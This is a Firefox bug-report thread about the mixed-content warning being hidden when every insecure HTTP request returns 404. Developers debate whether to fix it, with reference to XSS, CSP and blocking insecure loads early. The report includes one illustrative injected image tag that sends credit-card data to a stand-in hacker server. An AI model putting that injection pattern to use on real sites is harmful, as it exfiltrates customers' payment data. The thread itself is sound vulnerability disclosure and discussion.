User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Build Identifier: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 If a HTTPs page contains HTTP content, we normally get a "Page Contains Insecure content" icon/warning. If all of the HTTP content sends 404 headers, the "Page Contains Insecure content" icon/warning is not shown. Consider a e-commerce site gets hacked, and this is added to the receipt page <img src="hackers-server.com/?CreditCardNumber=123456&CCV=123"/>. FF will attempt to load the image and provide no warning about the insecure content since the attackers page sends a 404 header. The attacker could simply fill in a "customer testimonials" form that is not correctly validated to add this to a page without server access. Reproducible: Always Steps to Reproduce: 1. Load some HTTP content (eg Images or CSS) on a HTTPs page 2. Ensure that *ALL* HTTP content sends 404 headers. Actual Results: "Page Contains Insecure content" icon/warning is not shown. Expected Results: "Page Contains Insecure content" icon/warning should be shown. I'm using a slightly older version of FF - I apologise for this! I cannot install a newer build here in the office.

Thanks for the report - I appreciate you trying to keep our users secure. (In reply to comment #0) > If a HTTPs page contains HTTP content, we normally get a "Page Contains > Insecure content" icon/warning. > > If all of the HTTP content sends 404 headers, the "Page Contains Insecure > content" icon/warning is not shown. The mixed content UI exists to alert users to a page that might not be what the server actually sent - the unsecured elements might have been subverted to cause the page to look or act differently and we don't want to mark that as secure. But... > Consider a e-commerce site gets hacked, and this is added to the receipt page > <img src="hackers-server.com/?CreditCardNumber=123456&CCV=123"/>. FF will > attempt to load the image and provide no warning about the insecure content > since the attackers page sends a 404 header. ... it can't really help with this case. Putting aside the fact that the site hacker could just obtain an SSL certificate for their domain, the assumption that the site has been hacked on the server side with something like the XSS you describe is game over. If an attacker can inject arbitrary content into the page, mixed content is the least of your problems (to say nothing of the fact that in the scenario outlined above, the damage is already done). Some amount of that can be mitigated with future-looking technologies like CSP (bug 493857) but not by repurposing an existing security UI to represent a new thing (poorly). I think this is WONTFIX, but will move it to PSM for Kai/Bob's opinion. I could imagine us wanting to show mixed-content indicators for http 404s for some reason unrelated to XSS-prevention.

Yes - The XSS is really only an example of how it could be used in a "Bad Way".. Mozilla/FF etc of course have no way to determine if a server has been compromised... The way I look at it, even when the content returns a 404, the UI warning should be triggered and shown. I personally see that icon as "attempted to load insecure content" and not "is displaying insecure content". Just my 2c!

Are the images/CSS used despite the HTTP status being 404?

So your imaginary exploit scenario is: (a) injection of hostile content into secure page (b) transmitting of user data to a hostile site In theory security holes could be found that make (a) possible. Let's assume a time where (a) is not yet fixed and someone attempts exploit it and perform (b). Usually it would be necessary to use a https destination for delivering stolen user information, in order to keep the browser state at "secure". But using https is undesirable for attackers, because they need full control to a site running a https server. So, they probably won't use their own server with their own certificate, because that may help to identify the attacker. So, when using a plain http destination to perform (b) it's easier for an attacker to remain anonymous. But usually an attacker can't use http because we'll show mixed content and the user will notice and the attack may quickly get detected. Your discovery (this bug) is nice, because it allows to perform (b) without being noticed. So in theory, I agree this bug would be a good thing to fix. To rephrase the bug request: Always show mixed content for any load attempts of insecure data, despite load failures (404). However, because of the behaviour of today's Mozilla code, even after we fix this bug, the request would still be sent! The attacker would still succeed to steal data! This brings me back to my famous bug 62178. The intention of bug 62178 is to prevent insecure loads in a secure context BEFORE they happen. Fixing this bug would be nice, but fixing bug 62178 would be better.

"Making data exfiltration harder after XSS" is a terrible reason to fix bug 62178. The attacker doesn't have to set up his own https server under his own name. He can hack one, or steal someone's credit card, or use DNS as a covert communication channel.

reassign bug owner. mass-update-kaie-20120918

I've been told that this is how the mixed content blocker currently works.

(In reply to David Keeler [:keeler] (use needinfo?) from comment #7) > I've been told that this is how the mixed content blocker currently works. If there is a testcase I can confirm. But nsMixedContentBlocker.cpp will mark the security state of a page even before a network request goes out.